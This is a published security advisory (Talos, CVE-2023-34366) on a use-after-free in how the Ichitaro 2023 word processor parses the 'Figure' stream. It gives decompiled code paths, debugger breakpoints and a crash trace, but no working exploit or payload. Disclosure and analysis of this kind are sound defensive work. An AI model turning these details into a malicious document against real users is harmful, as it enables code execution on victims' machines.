Talos Vulnerability Report

TALOS-2023-1758

JustSystems Corporation Ichitaro "Figure" stream use-after-free vulnerability

October 19, 2023
CVE Number

CVE-2023-34366

SUMMARY

A use-after-free vulnerability exists in the Figure stream parsing functionality of Ichitaro 2023 1.0.1.59372. A specially crafted document can cause memory corruption, resulting in arbitrary code execution. Victim would need to open a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ichitaro 2023 1.0.1.59372
Versions of relevant binaries:

JSTARO26.OCX
File version: 1.0.1.60205

jsvda.dll
File version: 3.3.324.1

jsmisc32.dll
File version: 2.7.1.1

taro32.exe
File version: 1.0.1.59372

PRODUCT URLS

Ichitaro 2023 - https://www.ichitaro.com/

CVSSv3 SCORE

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Ichitaro is a word processor produced by JustSystems, which showcases the ATOK input method system and occupies a large share of the Japanese word-processing market. The Ichitaro word processor supports compatibility with many document formats and provides a broad set of features, allowing it to remain competitive with other available word processors.

Other than the typical document and spreadsheet formats that are provided by the Microsoft Office suite, Ichitaro also supports their native document format, which uses the file extension .JTD. This file format is based on Microsoft’s Structured Storage format that was developed as part of Microsoft’s Component Object Model (COM).

Similar to most document types that utilize this format, the structure of the entire .JTD document is stored within the streams that compose the Structured Storage file format. Thus, to access them, the application will use Microsoft’s Structured Storage API as exposed via COM. When the user opens a document with the application, the “JSTARO26.OCX” library is used to perform the actual loading of the contents of the document. This library will receive information about which document type was opened and then construct the necessary objects to retain the information being parsed out of the file. After a document of the type inherent to this vulnerability is opened, the following method at address 0x3bd1cc26 is executed. This method is an entry point to the parsing of the various compound document streams that compose the file format of the document. Once the method has finished processing streams such as “Font”, “ImageData”, “ItemizationData”, etc., the method at [1] will be called to perform the parsing required for the contents of the “Frame” stream.

void __thiscall object_9d50e8::checkAndProcessStreams_29cc26(object_9d50e8 *this)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  constructor_7106fb(&lv_struc_34);
  v61 = 0;
  lp_oframe_18 = 0;
  p_oframe_60 = this->v_data_68.p_oframe_60;
...
  lv_bool_4c = this->v_data_68.v_field_98 == 2;
  lv_bool_54 = (this->v_data_68.var_24 & 8) == 0;
  lv_bool_58 = this->v_data_68.field_6c == 2;
  lv_field_5c = this->v_data_68.v_field_68;
  lv_decodeSize?_60 = this->v_data_68.v_decodeSize__b4
  lv_field_64 = this->v_data_68.v_field_98;
  lp_oframe_68 = this->v_data_68.p_oframe_60;
  p_field_1c = object_9d50e8::fieldOnDemand_1c__7b161a(this);
  if ( !object_10c89c::processFramesAndStuff_869d0f(                // [1] process "Frame" stream
          p_field_1c,
          lp_oframe_68,
          lv_field_64,
          lv_decodeSize?_60,
          lv_field_5c,
          lv_bool_58,
          lv_bool_54,
          &lv_field_14,
          lv_bool_4c,
          &lv_struc_34) )
  {
LABEL_30:
    v9 = lv_field_14;
    goto LABEL_90;
...
}

The following method at address 0x3c2e9d0f is used to process the “Frame” stream. The objects from this stream can require the parsing of related streams, which can influence the way the objects from the “Frame” are used. At [2], the method will call a function that will attempt to decode the contents of 3 streams that are used to provide hints for the “Frame” stream. As the proof-of-concept included with this document does not contain any hints, the method call at [3] will be executed instead. This called method will pre-process the “Frame” stream to count the number of elements that it contains, followed by the method call at [4], which will process the details of the “Frame” stream and the contents of the streams that it may depend on.

int __thiscall object_10c89c::processFramesAndStuff_869d0f(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_4,
        int av_decodeSize?_8,
        int av_field_c,
        int av_bool_10,
        int av_bool_14,
        int *ap_result_18,
        int av_bool_1c,
        struc_76106fb *ap_struc_20)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  v11 = 1;
  object_10c89c::obArrayMaskItems_777d54(this, 1);
  this->v_figureTypeField_0 = av_bool_10;
  obArray_1ba0eb::constructor_1ba0eb(&lv_obArrayObject_38);
  v18 = 0;
  if ( !obArray_1ba0eb::processHintStreams__1ba115(&lv_obArrayObject_38, ap_oframe_0) )     // [2] decode frame hints from streams
  {
    struc_2137af::constructor_2137af(&lv_frameStruc_20);
    LOBYTE(v18) = 1;
    struc_2137af::processStream_Frame__213803(&lv_frameStruc_20, ap_oframe_0);              // [3] decode contents of "Frame" stream
...
  }
...
  ItemByField_213547 = obArray_1ba0eb::getItemByField_213547(&lv_obArrayObject_38);
  if ( checkFrameHint__33b9eb(ItemByField_213547, av_4) )
  {
LABEL_13:
    this->v_decodeSize_1c = av_decodeSize?_8;
    this->field_58 = av_field_c;
    v11 = object_10c89c::processStream_FrameNames_Figures__869e52(                          // [4] process all of the streams related to "Frame"
            this,
            ap_oframe_0,
            av_bool_10,
            av_bool_14,
            av_bool_1c,
            ap_struc_20);
...
}

The following method is at address 0x3c2e9e52 and is used by the application to process each of the elements within the “Frame” stream. Depending on the type of object decoded from the stream, the library can access other streams and use the information therein to construct an object that will be referenced later in the function. With regards to the vulnerability, this function will be returned to throughout this document. At [5] the method will construct an object that is is responsible for tracking all of the streams that are needed to process the “Frame” stream. Immediately following the construction of this object, the method call at [6] will initialize the constructed object and assign individual objects for the “Frame”, “LayoutBox”, “Figure”, “FrameName”, etc. streams as required by the document. Afterwards, the called method will read the header for each of the streams and return. Eventually the method at [7] will be called to decode the “Frame” stream and decode its individual elements.

int __thiscall object_10c89c::processStream_FrameNames_Figures__869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  v12 = this;
  v14 = 0;
  object_10c89c::create_elements_CJelFrameInfo__777d87(this);
  this->v_figureTypeField_0 = av_bool_4;
  object_1b419a::constructor_1b419a(&lv_object_fc, this->p_owner_38, ap_oframe_0, 1);   // [5] object containing handles to necessary streams
  LOBYTE(v14) = 1;
  object_1b419a::openAllStreams_1b9d27(&lv_object_fc);                                  // [6] open up the necessary streams, reading their header.
  object_10c89c::decodeStream_Frame__777c23(this, &lv_object_fc);                       // [7] decode the "Frame" stream
...
}

The following method, located at address 0x3c1f7c23, will decode the contents of the entire “Frame” stream. When each stream was opened by the calling method, the initial header that is stored at the beginning of the stream was read. After the stream header for the “Frame” stream, a variable number of “block” types may be stored. These block types include a header that contains a 16-bit type followed by a 16-bit length. This length is then used to determine how much data is stored within that block. At [8], the method will fetch an object used for accessing the contents of the “Frame” stream. Afterwards at [9], a block will be read from the stream using the aforementioned object. This block contains a single uint32_t and is used to retain a count of the number of blocks that follow it. This number of blocks is then used by the loop at [10] to decode blocks from the stream into an object that will get appended to an array stored within the method’s object.

void __thiscall object_10c89c::decodeStream_Frame__777c23(object_10c89c *this, object_1b419a *ap_object_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  p_this = this;
  lp_this_10 = this;
  Stream_Frame__1b4370 = object_1b419a::getStream_Frame__1b4370(ap_object_0);                           // [8] get object for reading "Frame" stream
  if ( Stream_Frame__1b4370 )
  {
    obArray_1ba0eb::constructor_1ba0eb(&lv_obArray_34);
    v3 = 0;
    v15 = 0;
    obArray_1ba0eb::processHintStreams__1ba115(&lv_obArray_34, ap_object_0->p_oframe_8c);               // process hint streams
    v_count_777bcc = object_OSEG::readBlock_u32_777bcc(Stream_Frame__1b4370);                           // [9] read uint32_t from block following header
    lv_count_1c = v_count_777bcc;
    ap_object_0->v_framecount_d8 = v_count_777bcc;
    if ( v_count_777bcc > 0 )
    {
      do
      {
        p_vobject_777b3f = object_10c89c::decode_vobject_Frame__777b3f(p_this, Stream_Frame__1b4370);   // [10] decode current block from stream
        p_vobject_777b3f->v_data_4.v_flag_b8 |= 1u;
        v_index_a8 = p_vobject_777b3f->v_data_4.v_index_a8;
        if ( object_1b419a::propertycheck_d4__1ba3e3(ap_object_0) )
        {
          appended = object_10c89c::append_vobject_7a33b0(lp_this_10, p_vobject_777b3f);                // [10] append object to an array
          v12 = appended;
          if ( appended == -1 )
            JSFC::CxxThrowException_CMemoryException__1a64f();
          p_vobject_777b3f->v_data_4.v_index_ac = v_index_a8;                                           // [10] update append index of new object
          baseobject_9eafa8::setIndex_1ba2a4(p_vobject_777b3f, appended);                               // [10] assign frame index into new object
...
        }
...
        ++v3;
      }
      while ( v3 < lv_count_1c );
    }
    v15 = -1;
    obArray_1ba0eb::destructor_1ba72c(&lv_obArray_34);
  }
}

The following method used for decoding an individual block from the “Frame” stream is located at address 0x3c1f7b3f. After the block’s header is read at [11], the contents of the each block within the stream will be decoded by the method. After the header of the decoded block, the structure contained therein is a 32-bit index, followed by a 16-bit type that is decoded at [12]. Once the type has been determined, it will then be used to construct an object using the method at [13]. This logic is performed for every block that is decoded from the stream. The vulnerability described by this document involves a “Frame” object of type 4. Thus when the method at 0x3c1f79f9 is called, a 0xE0 byte object will be allocated and constructed.

baseobject_9eafa8 *__thiscall object_10c89c::decode_vobject_Frame__777b3f(
        object_10c89c *this,
        JSVDA::object_OSEG *ap_oseg_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  struc_1b448c::constructor_1b448c(&lv_struc_2c, 0);
  v9 = 0;
  if ( !struc_1b448c::readblock_1ba030(&lv_struc_2c, ap_oseg_0, lvw_type_10) )                      // [11] read the block header
    JSFC::CxxThrowException_CMemoryException__1a64f();
  struc_1b448c::decode_u32_1ba288(&lv_struc_2c, &lv_index_18);                                      // [12] decode 32-bit index
  struc_1b448c::decode_ushort_1ba0c9(&lv_struc_2c, &lv_case_14);                                    // [12] decode 16-bit type
  vobject_Frame__7779f9 = object_10c89c::create_vobject_Frame__7779f9(this, lv_case_14);            // [13] \ construct object based on type
  (*(void (__thiscall **)(baseobject_9eafa8 *, int))(vobject_Frame__7779f9->p_vtable_0 + 0x64))(
    vobject_Frame__7779f9,
    lv_case_14);
  baseobject_9eafa8::setIndex_1ba2a4(vobject_Frame__7779f9, lv_index_18);
  baseobject_9eafa8::decode_item_Frame__1ba2b4(vobject_Frame__7779f9, &lv_struc_2c);                // [12] decode contents of element
  struc_1b448c::destructor_1b4579(&lv_struc_2c);
  return vobject_Frame__7779f9;
}
\
baseobject_9eafa8 *__thiscall object_10c89c::create_vobject_Frame__7779f9(object_10c89c *this, int av_case_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  switch ( (__int16)av_case_0 )
  {
...
case 4:
  v7 = (vobject_9eb654 *)JSFC::malloc_181e(0xE0u);                                                  // [13] allocate space for object
  if ( v7 )
  {
    v5 = (baseobject_9eafa8 *)vobject_9eb654::constructor_1aaa8e(v7, this);                         // [13] construct object with vftable 0x3c46b654
    goto LABEL_20;
  }
  break;
...
}

Once all the decoded objects have been allocated, constructed, and appended to an array, the method at the address 0x3c2e9e52 will be returned to. The method will then process any information from the other streams at [14], and then use the array of elements decoded from the “Frame” stream in the loop at [15]. This loop is intended to process all of the objects constructed for the elements decoded from the “Frame” stream, and at [16] call the virtual-method at offset +0x134 of the constructed object. Once the loop has completely processed all of the objects in its array, one last method will be called which will trigger the vulnerability.

int __thiscall object_10c89c::processStream_FrameNames_Figures__869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
...
  object_10c89c::decodeStream_Frame__777c23(this, &lv_object_fc);                                                           // decoded "Frame" elements

  if ( !av_bool_4
    || object_10c89c::process_FrameName__777770(this, &lv_object_fc)                                                        // [14] process "FrameName" stream
    && object_10c89c::process_HyperLinkFrame_TableServerData__8698d0(                                                       // [14] process "HyperLinkFrame" stream
         this,
         &lv_object_fc,
         ap_oframe_0,
         av_bool_8,
         av_bool_c,
         ap_struc_10) )
  {
    v_length_4 = this->v_obArray(Frame)_64.v_data_4.v_length_4;                                                             // [15] Array of decoded "Frame" elements
    for ( i = 0; ; ++i )
    {
      v13 = i;
      if ( i >= v_length_4 )
        break;
      v10 = (baseobject_9eafa8 *)this->v_obArray(Frame)_64.v_data_4.p_items_0[i];                                           // get current array element
      if ( v10
        && (v10->v_data_4.v_flag_b8 & 1) != 0
        && !(*(int (__thiscall **)(baseobject_9eafa8 *, object_1b419a *))(v10->p_vtable_0 + 0x134))(v10, &lv_object_fc) )   // [16] call virtual method
      {
        goto LABEL_14;
      }
    }
...
}

When calling the virtual method at offset +0x134 for a “Frame” element of type 4, the following method at address 0x3c1f7230 will be used. This virtual method is entirely responsible for parsing the “Figure” stream and contains the necessary logic to result in the vulnerability described by this document. At [17], the method fetches the object used for reading from the “Figure” stream. Once the stream object has been stored into a variable, the method will then construct an object to maintain a thread and the arenas for decoding the elements. The vulnerability referenced by this document is specifically in regards to the scope of the object that is constructed at [18]. After this object is constructed, it then gets appended to an array within the current method’s object. At [19], a reference to this object is then copied into the scope of the current method as a local variable in order to be freed under certain conditions when the function exits. Afterwards at [20], the method will attempt to decode a block from the “Figure” stream. If a failure occurs while decoding the block header, the method will then execute the logic at [22]. If decoding the element into the allocated object was successful, the process may also still fail at [21]. Once normal execution encounters the logic at [22], the current method will free the object that was allocated and then returned. Due to the allocated object having already been stored into an array at [18] prior to it being released, this will leave a reference to the released memory within the array.

int __thiscall object_9eb654::parseStream_Figure__777230(vobject_9eb654 *this, object_1b419a *ap_object_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  baseobject_9eafa8::getSomeField_1b47de((baseobject_9eafa8 *)this);
  lp_oseg_1c = object_1b419a::getStream_Figure__1b47fe(ap_object_0);                            // [17] get stream object
  if ( !lp_oseg_1c )
    return 0;
  FdmObjectWithThread_7d3332 = object_10c89c::getFdmObjectWithThread_7d3332(this->v_data_4.p_owner_14);
  v4 = FdmObjectWithThread_7d3332;
  if ( !FdmObjectWithThread_7d3332 )
    return 0;
  lp_figureObject_18 = 0;
  v13 = 0;
  v5 = object_1a9020::addItemToFigureArray_7a3621(FdmObjectWithThread_7d3332);                  // [18] append element to array
  this->v_obArray_98_index_dc = v5;
  p_figureObject_98 = (object_1aa9d3 *)v4->p_obArray(Figure)_98->v_data_4.p_items_0[v5];        // [19] fetch same element from array
  lp_figureObject_18 = p_figureObject_98;
  ++v4->v_counter_c;
  ++v4->v_counter_88;
  struc_1b448c::constructor_1b448c(&lv_struc_40, 0);
  LOBYTE(v13) = 1;
  if ( struc_1b448c::readblock_1ba030(&lv_struc_40, lp_oseg_1c, lvw_figureType_14) )            // [20] read block from "Figure" stream
  {
    if ( this->v_data_4.p_owner_14->v_figureTypeField_0 )
    {
      struc_1b4853::constructor_1b4853(&lv_struc_2c);
      LOBYTE(v13) = 2;
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &lv_struc_2c.v_something_0);
      struc_1b448c::decode_ushort_1ba0c9(&lv_struc_40, &lv_struc_2c.vw_case_4);
      struc_1b448c::decode_ushort_1ba0c9(&lv_struc_40, &lv_struc_2c.vw_fdmSetDestination_6);
      struc_1b448c::decode_ushort_1ba0c9(&lv_struc_40, &lv_struc_2c.vw_fdmCutFigSize_8);
      struc_1b448c::decode_byte__1ba90f(&lv_struc_40, &lv_struc_2c.vb_field_A);
      struc_1b448c::decode_byte__1ba90f(&lv_struc_40, &lv_struc_2c.vb_field_B);
      struc_1b4853::copy_to_1ba923(&lv_struc_2c, p_figureObject_98);
      LOBYTE(v13) = 1;
      return_1b48cf();
    }
    else
    {
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_fdmSetDestination_8);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_fdmCutFigSize_c);
      struc_1b448c::decode_ushort_1ba0c9(&lv_struc_40, &p_figureObject_98->vw_field_10);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_field_14);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_field_18);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_field_1c);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_field_20);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_something_4);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_case_0);
      struc_1b448c::decode_u32_1ba288(&lv_struc_40, &p_figureObject_98->v_field_24);
    }
...
    if ( object_1b419a::propertycheck_d4__1ba3e3(ap_object_0) )
    {
      if ( !object_1a9295::doStuffWithCutFigureSizes_1ac6d9(v4->p_object_ac, (int)&this->v_obArray_98_index_dc, 1, 2)
        || !object_1a9295::method_1aca8c(v4->p_object_ac, 81) )
      {
        goto return(0)_7772b6;                                                                  // [21] exit function and free object
      }
...
    }
...
return(0)_7772b6:
  LOBYTE(v13) = 0;
  struc_1b448c::destructor_1b4579(&lv_struc_40);
  v13 = -1;
  if ( p_figureObject_98 )                                                                      // [22] if object is initialized
  {
    return_1b48cc();
    free_8ea4c9(p_figureObject_98);                                                             // [22] release object in array
  }
  return 0;
}

Once the virtual-method that decodes the contents of the “Frame” stream returns, and the loop for the method at address 0x3c2e9e52 has finished, the following code will be executed within the same method before returning. At [23], the library will call a method that is responsible for processing the “FigureData” stream. After the current method is complete, the last action the method will perform is to call another method at [24]. This method will perform a final pass over the list of objects that were constructed from the “Figure” stream.

int __thiscall object_10c89c::processStream_FrameNames_Figures__869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
...
   for ( i = 0; ; ++i )                                                             // loop for every "Frame" object
    {
      v13 = i;
      if ( i >= v_length_4 )
        break;
      v10 = (baseobject_9eafa8 *)this->v_obArray(Frame)_64.v_data_4.p_items_0[i];   // "Frame" object
...
    }
...
   if ( !object_10c89c::method_777067(this, &lv_object_fc)
      || !object_10c89c::processStream_FigureData__776cf2(this, &lv_object_fc)      // [23] process "FigureData" stream
      || !object_1b419a::method_LayoutBoxes_1bbead(&lv_object_fc) )
    {
LABEL_14:
      LOBYTE(v14) = 0;
      goto LABEL_7;
    }
...
  }
  LOBYTE(v14) = 0;
LABEL_7:
  object_1b419a::destructors__1b56fa(&lv_object_fc);
  v14 = -1;
  object_10c89c::method_obArrayDoSomething__535872(this);                           // [24] call method to process array of objects.
  return 0;
}

The following method is located at address 0x3bfb5872 of the “JSTARO25.OCX” library and is simply a wrapper around a loop that iterates through the array of objects from the “Frame” stream. At [25], this loop will simply use the index to extract the current “Frame” object, check a flag, and then pass the current index to a method at address 0x3bfb545a. At [26], the called method will use the index that was passed as a parameter to get the object that was previously stored to the array. After updating some fields, at [27] the method will then call the virtual method at offset +0xd0 of the “Frame” object. With regards to the vulnerability, the “Frame” object of type 4 that is 0xE0 bytes in size will be used.

void __thiscall object_10c89c::method_obArrayDoSomething__535872(object_10c89c *this)
{
  int v2; // esi
  int v_length_4; // ebx
  baseobject_9eafa8 *v4; // eax

  v2 = 0;
  v_length_4 = this->v_obArray(Frame)_64.v_data_4.v_length_4;
  if ( v_length_4 > 0 )
  {
    do                                                                              // [25] loop through list of "Frame" objects
    {
      v4 = (baseobject_9eafa8 *)this->v_obArray(Frame)_64.v_data_4.p_items_0[v2];
      if ( v4 )
      {
        if ( (v4->v_data_4.v_flag_b8 & 1) != 0 )
          object_10c89c::method_53545a(this, v2);                                   // call method with specified index
      }
      ++v2;
    }
    while ( v2 < v_length_4 );
  }
}
\
baseobject_9eafa8 *__thiscall object_10c89c::method_53545a(object_10c89c *this, int av_index_0)
{
  baseobject_9eafa8 *result; // eax
  baseobject_9eafa8 *p_frameObject_4; // esi
  int v5[4]; // [esp+Ch] [ebp-14h] BYREF

  result = object_10c89c::obArrayItem_Frame__7a55fe(this, av_index_0);              // [26] get frame object at given index
  p_frameObject_4 = result;
  if ( result )
  {
    sub_3BC90ABD((int)v5, result);
    object_10c89c::findFrameObjectFromDirection__21278d(this, av_index_0, 1);
    (*(p_frameObject_4->p_vtable_0 + 0xD0))(p_frameObject_4);                       // [27] call method +0xd0 of each object
    (*p_frameObject_4->p_vtable_0)(p_frameObject_4, 1);
    this->v_obArray(Frame)_64.v_data_4.p_items_0[av_index_0] = 0;
    return sub_3BB89BED(this->p_owner_38->v_data_290.p_struc_4c, 43, v5, 0x10u);
  }
  return result;
}

The virtual method at offset +0xD0 for the “Frame” object of type 4 is located at the address of 0x3bfbd886. After the method fetches an object from one of its fields, the fetched object will then be used to call the method at [28] which is located at address 0x3bc917d6. One of the parameters being used is the index of the object that was previously appended to, before decoding the contents of the “Figure” stream. As the object at this index was previously released, the object being referenced is not in scope anymore. At [29], the index will be used to fetch the released object and then used to update the state of a field within the current object. At [30], another method belonging to the current object will be used to process the objects that were decoded out of the “Figure” stream.

int __thiscall vobject_9eb654::method_53d886(vobject_9eb654 *this)
{
  object_1a9020 *result; // eax
  object_1a9020 *v3; // edi

  result = object_10c89c::getFdmObjectWithThread_7d3332(this->v_data_4.p_owner_14);
  v3 = result;
  if ( result )
  {
    baseobject_9eafa8::method_20f746((baseobject_9eafa8 *)this);
    (*((void (__thiscall **)(vobject_9eb654 *, int))this->p_vtable_0 + 0x4F))(this, 57);
    return object_1a9020::process_figuresWithFDM_2117d6(v3, this->v_obArray_98_index_dc, 1);                        // [28] \ call method with index
  }
  return (int)result;
}
\
int __thiscall object_1a9020::process_figuresWithFDM_2117d6(object_1a9020 *this, int av_index_0, int av_one_4)
{
  JSFC::CObArray *p_figureArray_98; // eax
  object_1aa9d3 *v5; // edi
  int v_case_0; // ecx
  figureArenaTable_2117d6 lv_struc_10; // [esp+8h] [ebp-10h] BYREF

  lv_struc_10 = 0i64;
  if ( av_index_0 < 0 )
    goto LABEL_17;
  p_figureArray_98 = this->p_obArray(Figure)_98;
  if ( p_figureArray_98->v_data_4.v_length_4 <= av_index_0 )
  {
...
  }
  else
  {
    v5 = (object_1aa9d3 *)p_figureArray_98->v_data_4.p_items_0[av_index_0];                                         // [29] use index to fetch free'd object
    if ( !v5->vw_field_10 )
      return 1;
    if ( object_1a9020::processArenaTableForFigureCase_7a3474(this, &lv_struc_10, v5->v_case_0, v5->v_something_4) )
    {
      jsfdm_dll_FDM_setDestination_132550(this->p_fdmThread_0, (int)&lv_struc_10, v5->v_fdmSetDestination_8);
...
      if ( jsfdm_dll_FDM_cutFig_133830_133830(this->p_fdmThread_0, v5->v_fdmCutFigSize_c) )
      {
...
        object_1a9020::processFigures__212534(this, v_case_0, v5->v_something_4, v5->v_fdmCutFigSize_c + 1, -1);    // [30] call method to proces "Figure" objects
...
      }
      this->v_fdmError_14c = jsfdm_dll_FDM_getError_13cb18(this->p_fdmThread_0);
    }
  }
  return 0;
}

The following method is at address 0x3bc92534 of the “JSTARO26.OCX” library and will iterate through all of the objects that were decoded from the “Figure” stream. The first thing the method will do is to check the length of the array containing the “Figure” objects at [31]. As one element is always stored to this array before the “Figure” stream gets decoded, this will result in the execution of the loop that follows. At [32], the method will use the index to fetch an object from the array. As the first element is released, this will assign the object that is out of scope to a variable belonging to the current method. Afterwards, the method will check that a field from the object meets certain constraints before writing back to it at [33]. As the object has already been released, this will corrupt memory on the heap, which can lead to code execution within the context of the application.

int __thiscall object_1a9020::processFigures__212534(
        object_1a9020 *this,
        int av_case_0,
        int av_something_4,
        int av_size_8,
        int av_neg_c)
{
  int v_length_4; // esi
  int i; // edi
  int v_field_c; // eax
  object_1a9020 *lp_this_4; // [esp+8h] [ebp-4h]
  object_1aa9d3 *Ap_item_14; // [esp+20h] [ebp+14h]

  lp_this_4 = this;
  v_length_4 = this->p_obArray(Figure)_98->v_data_4.v_length_4;                             // [31] check the length of "Figure" objects
  if ( av_neg_c > 0 )
  {
...
    for ( i = 0; i < v_length_4; ++i )
    {
      Ap_item_14 = (object_1aa9d3 *)this->p_obArray(Figure)_98->v_data_4.p_items_0[i];      // [32] use loop index to access object from array
      if ( object_1aa9d3::method_21250c(Ap_item_14, av_case_0, av_something_4) == 1 )       // verify fields of object
      {
        v_field_c = Ap_item_14->v_fdmCutFigSize_c;                                          // [33] access field of free'd object
        if ( v_field_c >= av_size_8 )
          Ap_item_14->v_fdmCutFigSize_c = v_field_c + av_neg_c;                             // [33] update field of free'd object
      }
      this = lp_this_4;
    }
    return 1;
  }
...
  return 1;
}

Crash Information

The following breakpoints can be used to track the construction of the “Frame” object (type 4) until the “Figure” stream is parsed.

bu JSTARO26.OCX+1aaa8e ".printf \"JSTARO26!vobject_9eb654::constructor_1aaa8e{+1aaa8e}\\n\";.printf\"(%p) vobject_9eb654* vobject_9eb654::constructor_1aaa8e(vobject_9eb654* this=%p, object_10c89c* ap_object_0=%p)\\n\",poi(@esp),@ecx,poi(@esp+4);g"
bu JSTARO26.OCX+777230 ".printf \"JSTARO26!object_9eb654::parseStream(Figure)_777230{+777230}\\n\";.printf\"(%p) int object_9eb654::parseStream(Figure)_777230(vobject_9eb654* this=%p, object_1b419a* ap_object_0=%p)\\n\",poi(@esp),@ecx,poi(@esp+4);g"

The next 3 breakpoints will identify the current object that is free’d after being added to its array.

bu JSTARO26.OCX+777289 ".printf \"JSTARO26!object_9eb654::parseStream(Figure)_777230{+777289}\\n\";.printf\"object at index %#x is %p\\n\",@eax,@esi;g"
bu JSTARO26.OCX+777462 ".printf \"JSTARO26!object_9eb654::parseStream(Figure)_777230{+777462}\\n\";.printf\"free(%p)\\n\",@esi"
bu JSTARO26.OCX+211804 ".printf \"JSTARO26!object_1a9020::process_figuresWithFDM_2117d6{+211804}\\n\""

After opening up the document, the first breakpoint will be the construction of the “Frame” object of type 4.

0:000> g
JSTARO26!vobject_9eb654::constructor_1aaa8e{+1aaa8e}
(54d67ab8) vobject_9eb654* vobject_9eb654::constructor_1aaa8e(vobject_9eb654* this=16198f20, object_10c89c* ap_object_0=1081df38)

After it has been constructed, the “JSTARO26.OCX” library will then use it to parse the “Figure” stream.

JSTARO26!object_9eb654::parseStream(Figure)_777230{+777230}
(54d67ee8) int object_9eb654::parseStream(Figure)_777230(vobject_9eb654* this=16198f20, object_1b419a* ap_object_0=00759588)

During the processing of the “Figure” stream, the library will allocate an object and write it to the array belonging to the object.

JSTARO26!object_9eb654::parseStream(Figure)_777230{+777289}
object at index 0 is 1619afc8

When the function exits due to handling an error, it will execute the path that free’s the object.

JSTARO26!object_9eb654::parseStream(Figure)_777230{+777462}
free(1619afc8)

At this point, the debugger will break and display a command prompt. The function call that is displayed will call free on its pointer. This pointer is referencing the object at 0x1619afc8.

eax=00000001 ebx=16198f20 ecx=1619afc8 edx=02000000 esi=1619afc8 edi=25b74e90
eip=54d67462 esp=00759510 ebp=00759568 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0x340a2b:
54d67462 e862301700      call    JSTARO26!DllUnregisterServer+0x4b3a92 (54eda4c9)

0:000> r @ecx
ecx=1619afc8

0:000> ub . L2
JSTARO26!DllUnregisterServer+0x340a28:
54d6745f 6a34            push    34h
54d67461 56              push    esi

0:000> dc @esi L8
1619afc8  00000000 00000000 00000001 00000000  ................
1619afd8  00000000 00000000 00000000 00000000  ................

After stepping over the function call, the memory will be released and we can resume execution.

0:000> p
eax=00000001 ebx=16198f20 ecx=1619afc8 edx=02000000 esi=1619afc8 edi=25b74e90
eip=54d67467 esp=00759510 ebp=00759568 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200216
JSTARO26!DllUnregisterServer+0x340a30:
54d67467 59              pop     ecx

0:000> dc @esi L8
1619afc8  ???????? ???????? ???????? ????????  ????????????????
1619afd8  ???????? ???????? ???????? ????????  ????????????????

0:000> g

The next time the debugger breaks, execution will be at the following instruction. This instruction loads the reference that was released into a register.

JSTARO26!object_1a9020::process_figuresWithFDM_2117d6{+211804}
eax=1619cff8 ebx=00000000 ecx=25b74e90 edx=54fdb654 esi=25b74e90 edi=00000000
eip=54801804 esp=00759504 ebp=0075951c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DRFL_SaveFD3A+0xd46e5:
54801804 8b3cb8          mov     edi,dword ptr [eax+edi*4] ds:0023:1619cff8=1619afc8

0:000> dc poi(@eax+4*@edi)
1619afc8  ???????? ???????? ???????? ????????  ????????????????
1619afd8  ???????? ???????? ???????? ????????  ????????????????
1619afe8  ???????? ???????? ???????? ????????  ????????????????
1619aff8  ???????? ???????? ???????? ????????  ????????????????
1619b008  ???????? ???????? ???????? ????????  ????????????????
1619b018  ???????? ???????? ???????? ????????  ????????????????
1619b028  ???????? ???????? ???????? ????????  ????????????????
1619b038  ???????? ???????? ???????? ????????  ????????????????

Stepping over the load instruction, we will encounter the following instruction, which will attempt to access the released object.

0:000> p
eax=1619cff8 ebx=00000000 ecx=25b74e90 edx=54fdb654 esi=25b74e90 edi=1619afc8
eip=54801807 esp=00759504 ebp=0075951c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DRFL_SaveFD3A+0xd46e8:
54801807 66837f1000      cmp     word ptr [edi+10h],0     ds:0023:1619afd8=????

Resuming execution will cause an access violation.

0:000> g
